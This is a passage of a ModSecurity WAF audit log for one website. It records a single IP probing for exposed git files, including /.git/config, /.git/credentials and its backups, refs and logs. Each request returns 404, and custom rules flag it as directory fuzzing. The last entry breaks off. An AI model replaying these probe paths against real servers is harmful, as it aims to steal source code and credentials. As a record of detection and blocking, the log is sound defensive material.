Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--96663c32-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/description||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/description||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/description"] [unique_id "aqZcCCsVWymXUono-eRURAAAAAc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432454939 527188 (- - -)
Stopwatch2: 1789287432454939 527188; combined=39622, p1=179, p2=39379, p3=0, p4=0, p5=63, sr=91, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--96663c32-Z--

--0e562854-A--
[13/Sep/2026:11:17:13.016468 +0300] aqZcCGM7dE9KgIIOpQhxUwAAAMg 172.86.81.63 52554 127.0.0.1 7081
--0e562854-B--
GET /.git/config.credentials HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--0e562854-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--0e562854-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.credentials||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config.credentials"] [unique_id "aqZcCGM7dE9KgIIOpQhxUwAAAMg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.git/config.credentials"] [unique_id "aqZcCGM7dE9KgIIOpQhxUwAAAMg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config.credentials"] [unique_id "aqZcCGM7dE9KgIIOpQhxUwAAAMg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432350737 665791 (- - -)
Stopwatch2: 1789287432350737 665791; combined=70925, p1=1727, p2=69114, p3=0, p4=0, p5=83, sr=123, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0e562854-Z--

--c73c1c61-A--
[13/Sep/2026:11:17:13.061003 +0300] aqZcCGM7dE9KgIIOpQhxVwAAANg 172.86.81.63 52590 127.0.0.1 7081
--c73c1c61-B--
GET /.git/objects/info/packs HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--c73c1c61-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--c73c1c61-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/objects/info/packs||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/objects/info/packs||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/objects/info/packs"] [unique_id "aqZcCGM7dE9KgIIOpQhxVwAAANg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432392085 668968 (- - -)
Stopwatch2: 1789287432392085 668968; combined=4133, p1=200, p2=3870, p3=0, p4=0, p5=63, sr=89, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c73c1c61-Z--

--bad5604c-A--
[13/Sep/2026:11:17:13.112434 +0300] aqZcCGM7dE9KgIIOpQhxVQAAAME 172.86.81.63 52580 127.0.0.1 7081
--bad5604c-B--
GET /.git/info/exclude HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--bad5604c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--bad5604c-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/info/exclude||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/info/exclude||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/info/exclude"] [unique_id "aqZcCGM7dE9KgIIOpQhxVQAAAME"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432382598 729885 (- - -)
Stopwatch2: 1789287432382598 729885; combined=4294, p1=165, p2=4071, p3=0, p4=0, p5=58, sr=71, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--bad5604c-Z--

--9cf35f55-A--
[13/Sep/2026:11:17:13.136876 +0300] aqZcCGM7dE9KgIIOpQhxWwAAANQ 172.86.81.63 52620 127.0.0.1 7081
--9cf35f55-B--
GET /.git/config HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--9cf35f55-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--9cf35f55-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config"] [unique_id "aqZcCGM7dE9KgIIOpQhxWwAAANQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.git/config"] [unique_id "aqZcCGM7dE9KgIIOpQhxWwAAANQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config"] [unique_id "aqZcCGM7dE9KgIIOpQhxWwAAANQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432452675 684256 (- - -)
Stopwatch2: 1789287432452675 684256; combined=51733, p1=200, p2=51446, p3=0, p4=0, p5=87, sr=84, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9cf35f55-Z--

--3342306d-A--
[13/Sep/2026:11:17:13.157291 +0300] aqZcCGM7dE9KgIIOpQhxUQAAAMo 172.86.81.63 52532 127.0.0.1 7081
--3342306d-B--
GET /.git/config.bak HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--3342306d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--3342306d-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.bak||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config.bak"] [unique_id "aqZcCGM7dE9KgIIOpQhxUQAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.git/config.bak"] [unique_id "aqZcCGM7dE9KgIIOpQhxUQAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config.bak"] [unique_id "aqZcCGM7dE9KgIIOpQhxUQAAAMo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432333976 823368 (- - -)
Stopwatch2: 1789287432333976 823368; combined=67625, p1=231, p2=67326, p3=0, p4=0, p5=68, sr=98, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3342306d-Z--

--5ece7841-A--
[13/Sep/2026:11:17:13.180418 +0300] aqZcCCsVWymXUono-eRUSQAAABY 172.86.81.63 52664 127.0.0.1 7081
--5ece7841-B--
GET /.git/credentials HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--5ece7841-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--5ece7841-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credentials||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/credentials"] [unique_id "aqZcCCsVWymXUono-eRUSQAAABY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432526878 653594 (- - -)
Stopwatch2: 1789287432526878 653594; combined=4077, p1=220, p2=3801, p3=0, p4=0, p5=56, sr=89, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5ece7841-Z--

--8b6dd162-A--
[13/Sep/2026:11:17:13.185387 +0300] aqZcCCsVWymXUono-eRURwAAAAs 172.86.81.63 52650 127.0.0.1 7081
--8b6dd162-B--
GET /.git/packed-refs HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--8b6dd162-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--8b6dd162-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/packed-refs||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/packed-refs||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/packed-refs"] [unique_id "aqZcCCsVWymXUono-eRURwAAAAs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432468534 716909 (- - -)
Stopwatch2: 1789287432468534 716909; combined=34836, p1=233, p2=34548, p3=0, p4=0, p5=54, sr=128, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8b6dd162-Z--

--9fe09f27-A--
[13/Sep/2026:11:17:13.204917 +0300] aqZcCGM7dE9KgIIOpQhxWAAAAMQ 172.86.81.63 52610 127.0.0.1 7081
--9fe09f27-B--
GET /.git/config.old HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--9fe09f27-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--9fe09f27-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.old||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config.old"] [unique_id "aqZcCGM7dE9KgIIOpQhxWAAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.git/config.old"] [unique_id "aqZcCGM7dE9KgIIOpQhxWAAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.old||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config.old"] [unique_id "aqZcCGM7dE9KgIIOpQhxWAAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432443989 760977 (- - -)
Stopwatch2: 1789287432443989 760977; combined=57363, p1=233, p2=56802, p3=0, p4=0, p5=328, sr=88, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9fe09f27-Z--

--9b24f36d-A--
[13/Sep/2026:11:17:13.241883 +0300] aqZcCGM7dE9KgIIOpQhxVAAAAM4 172.86.81.63 52566 127.0.0.1 7081
--9b24f36d-B--
GET /.git/config.save HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--9b24f36d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--9b24f36d-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.save||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.save||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config.save"] [unique_id "aqZcCGM7dE9KgIIOpQhxVAAAAM4"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.save||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.git/config.save"] [unique_id "aqZcCGM7dE9KgIIOpQhxVAAAAM4"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.save||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config.save"] [unique_id "aqZcCGM7dE9KgIIOpQhxVAAAAM4"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432379942 862002 (- - -)
Stopwatch2: 1789287432379942 862002; combined=41815, p1=259, p2=41473, p3=0, p4=0, p5=83, sr=119, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9b24f36d-Z--

--6f151b2e-A--
[13/Sep/2026:11:17:13.259176 +0300] aqZcCCsVWymXUono-eRURgAAAAw 172.86.81.63 52646 127.0.0.1 7081
--6f151b2e-B--
GET /.git/logs/HEAD HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--6f151b2e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--6f151b2e-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/head||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/logs/HEAD"] [unique_id "aqZcCCsVWymXUono-eRURgAAAAw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432462510 796725 (- - -)
Stopwatch2: 1789287432462510 796725; combined=4099, p1=248, p2=3797, p3=0, p4=0, p5=53, sr=131, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6f151b2e-Z--

--a76f523b-A--
[13/Sep/2026:11:17:13.267955 +0300] aqZcCCsVWymXUono-eRURQAAAA0 172.86.81.63 52638 127.0.0.1 7081
--a76f523b-B--
GET /.git/logs/refs/heads/master HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--a76f523b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--a76f523b-H--
